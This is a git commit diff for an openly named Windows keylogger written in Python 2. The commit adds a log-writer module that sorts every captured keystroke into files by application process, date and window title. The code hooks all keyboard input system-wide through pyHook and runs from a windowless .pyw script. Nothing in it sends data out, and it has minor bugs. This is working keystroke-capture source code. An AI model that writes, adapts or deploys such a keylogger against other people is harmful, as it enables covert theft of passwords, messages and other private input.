major update - advanced logging functionality, by application and date and window title etc.

nanotube [2005-09-11 08:14]
major update - advanced logging functionality, by application and date and window title etc.
Filename
keylogger.pyw
logwriter.py
diff --git a/keylogger.pyw b/keylogger.pyw
index fb5642c..900d39c 100644
--- a/keylogger.pyw
+++ b/keylogger.pyw
@@ -4,7 +4,7 @@ import pythoncom
 import sys
 from optparse import OptionParser
 import traceback
-
+from logwriter import LogWriter

 class KeyLogger:
     ''' Captures all keystrokes, and logs them to a text file
@@ -13,14 +13,6 @@ class KeyLogger:

         self.ParseOptions()

-        '''
-        self.exitKey = exitKey                      #key we press to quit keylogger
-        self.flushKey = flushKey                    #key we press to make keylogger flush the file buffer (so we can check the log, for example)
-        self.parseBackspace = parseBackspace
-        self.parseEscape = parseEscape
-        self.addLineFeed = addLineFeed
-        self.debug = debug
-        '''
         self.hm = pyHook.HookManager()

         self.hm.KeyDown = self.OnKeyboardEvent
@@ -30,17 +22,7 @@ class KeyLogger:
         #if self.options.hookMouse == True:
         #    self.hm.HookMouse()

-        if self.options.debug == False:
-            self.log = open(self.options.filename, 'a')
-
-        #ascii subset is created as a filter to exclude funky non-printable chars from the log
-        self.asciiSubset = [8,9,10,13,27]           #backspace, tab, line feed, carriage return, escape
-        self.asciiSubset.extend(range(32,128))      #all normal printable chars
-
-        if self.options.parseBackspace == True:
-            self.asciiSubset.remove(8)              #remove backspace from allowed chars if needed
-        if self.options.parseEscape == True:
-            self.asciiSubset.remove(27)             #remove escape from allowed chars if needed
+        self.lw = LogWriter(self.options.dirname, self.options.debug)

         pythoncom.PumpMessages()

@@ -64,23 +46,8 @@ class KeyLogger:
         self.log.write('Transition: ' + str(event.Transition))
         self.log.write('---\n')
         '''
-        if event.Ascii in self.asciiSubset:
-            self.PrintStuff(chr(event.Ascii))
-        if event.Ascii == 13 and self.options.addLineFeed == True:
-            self.PrintStuff(chr(10))                 #add line feed after CR,if option is set
-
-        #we translate all the special keys, such as arrows, backspace, into text strings for logging
-        #exclude shift keys, because they are already represented (as capital letters/symbols)
-        if event.Ascii == 0 and not (str(event.Key).endswith('shift')):
-            self.PrintStuff('[KeyName:' + event.Key + ']')

-        #translate backspace into text string, if option is set.
-        if event.Ascii == 8 and self.options.parseBackspace == True:
-            self.PrintStuff('[KeyName:' + event.Key + ']')
-
-        #translate escape into text string, if option is set.
-        if event.Ascii == 27 and self.options.parseEscape == True:
-            self.PrintStuff('[KeyName:' + event.Key + ']')
+        self.lw.WriteToLogFile(event, self.options)

         if event.Key == self.options.flushKey:
             self.log.flush()
@@ -89,16 +56,11 @@ class KeyLogger:
             sys.exit()

         return True
-    def PrintStuff(self, stuff):
-        if self.options.debug == False:
-            self.log.write(stuff)
-        else:
-            sys.stdout.write(stuff)

     def ParseOptions(self):
         #usage = "usage: %prog [options] arg"
         parser = OptionParser(version="%prog version 0.3")
-        parser.add_option("-f", "--file", action="store", dest="filename", help="write log data to FILENAME [default: %default]")
+        parser.add_option("-f", "--file", action="store", dest="dirname", help="write log data to DIRNAME [default: %default]")
         parser.add_option("-k", "--keyboard", action="store_true", dest="hookKeyboard", help="log keyboard input [default: %default]")
         parser.add_option("-a", "--addlinefeed", action="store_true", dest="addLineFeed", help="add linefeed [\\n] character when carriage return [\\r] character is detected (for Notepad compatibility) [default: %default]")
         parser.add_option("-b", "--parsebackspace", action="store_true", dest="parseBackspace", help="translate backspace chacarter into printable string [default: %default]")
@@ -107,8 +69,8 @@ class KeyLogger:
         parser.add_option("-x", "--exitkey", action="store", dest="exitKey", help="specify the key to press to exit keylogger [default: %default]")
         parser.add_option("-l", "--flushkey", action="store", dest="flushKey", help="specify the key to press to flush write buffer to file [default: %default]")
         parser.add_option("-d", "--debug", action="store_true", dest="debug", help="debug mode (print output to console instead of the log file) [default: %default]")
-
-        parser.set_defaults(filename="C:\Temp\log.txt",
+
+        parser.set_defaults(dirname=r"C:\Temp\logdir",
                             hookKeyboard=True,
                             addLineFeed=False,
                             parseBackspace=False,
diff --git a/logwriter.py b/logwriter.py
new file mode 100644
index 0000000..2ada278
--- /dev/null
+++ b/logwriter.py
@@ -0,0 +1,111 @@
+import win32api, win32con, win32process
+import os, os.path
+import time
+import re
+
+
+class LogWriter:
+
+    def __init__(self, rootLogDir=r"C:\Temp\logdir", debug=False):
+
+        self.debug = debug
+        self.rootLogDir = os.path.normpath(rootLogDir)
+
+        try:
+            os.mkdir(self.rootLogDir, 0777)
+        except OSError, detail:
+            if(detail.errno==17):  #if directory already exists, swallow the error
+                pass
+            else:
+                print "OSError:", repr(detail)
+
+        self.writeTarget = ""
+
+    def OpenLogFile(self, event):
+
+        self.subDirName = self.GetProcessNameFromHwnd(event.Window)
+        self.subDirName = re.sub(r':?\\',r'__',self.subDirName)
+
+        try:
+            os.makedirs(os.path.join(self.rootLogDir, self.subDirName), 0777)
+        except OSError, detail:
+            if(detail.errno==17):  #if directory already exists, swallow the error
+                pass
+            else:
+                print "OSError:", detail
+
+        self.filename = time.strftime('%Y%m%d') + "_" + str(event.Window) + "_" + str(event.WindowName) + ".txt"
+
+        #we do this writetarget thing to make sure we dont keep opening and closing the log file when all inputs are going
+        #into the same log file. so, when our new writetarget is the same as the previous one, we just write to the same
+        #already-opened file.
+        if self.writeTarget != os.path.join(self.rootLogDir, self.subDirName, self.filename):
+            if self.writeTarget != "":
+                self.log.close()
+            self.writeTarget = os.path.join(self.rootLogDir, self.subDirName, self.filename)
+            if self.debug: print "writeTarget:",self.writeTarget
+
+            self.log = open(os.path.join(self.rootLogDir, self.subDirName, self.filename), 'a')
+
+    def WriteToLogFile(self, event, options):
+        self.OpenLogFile(event)
+
+        asciiSubset = [8,9,10,13,27]           #backspace, tab, line feed, carriage return, escape
+        asciiSubset.extend(range(32,128))      #all normal printable chars
+
+        if options.parseBackspace == True:
+            asciiSubset.remove(8)              #remove backspace from allowed chars if needed
+        if options.parseEscape == True:
+            asciiSubset.remove(27)             #remove escape from allowed chars if needed
+
+        if event.Ascii in asciiSubset:
+            self.PrintStuff(chr(event.Ascii))
+        if event.Ascii == 13 and options.addLineFeed == True:
+            self.PrintStuff(chr(10))                 #add line feed after CR,if option is set
+
+        #we translate all the special keys, such as arrows, backspace, into text strings for logging
+        #exclude shift keys, because they are already represented (as capital letters/symbols)
+        if event.Ascii == 0 and not (str(event.Key).endswith('shift') or str(event.Key).endswith('Capital')):
+            self.PrintStuff('[KeyName:' + event.Key + ']')
+
+        #translate backspace into text string, if option is set.
+        if event.Ascii == 8 and options.parseBackspace == True:
+            self.PrintStuff('[KeyName:' + event.Key + ']')
+
+        #translate escape into text string, if option is set.
+        if event.Ascii == 27 and options.parseEscape == True:
+            self.PrintStuff('[KeyName:' + event.Key + ']')
+
+    def PrintStuff(self, stuff):
+        if self.debug == False:
+            self.log.write(stuff)
+        else:
+            sys.stdout.write(stuff)
+
+
+    def GetProcessNameFromHwnd(self, hwnd):
+
+        threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd)
+        if self.debug: print "(threadid, processid)", threadpid, procpid
+
+        # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF)
+
+        mypyproc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, procpid)
+        procname = win32process.GetModuleFileNameEx(mypyproc, 0)
+        return procname
+
+
+if __name__ == '__main__':
+    #some testing code
+    #put a real existing hwnd into event.Window to run test
+    lw = LogWriter()
+    class Blank:
+        pass
+    event = Blank()
+    event.Window = 264854
+    event.WindowName = "Untitled - Notepad"
+    event.Ascii = 65
+    options = Blank()
+    options.parseBackspace = options.parseEscape = options.addLineFeed = options.debug = False
+    lw.WriteToLogFile(event, options)
+
ViewGit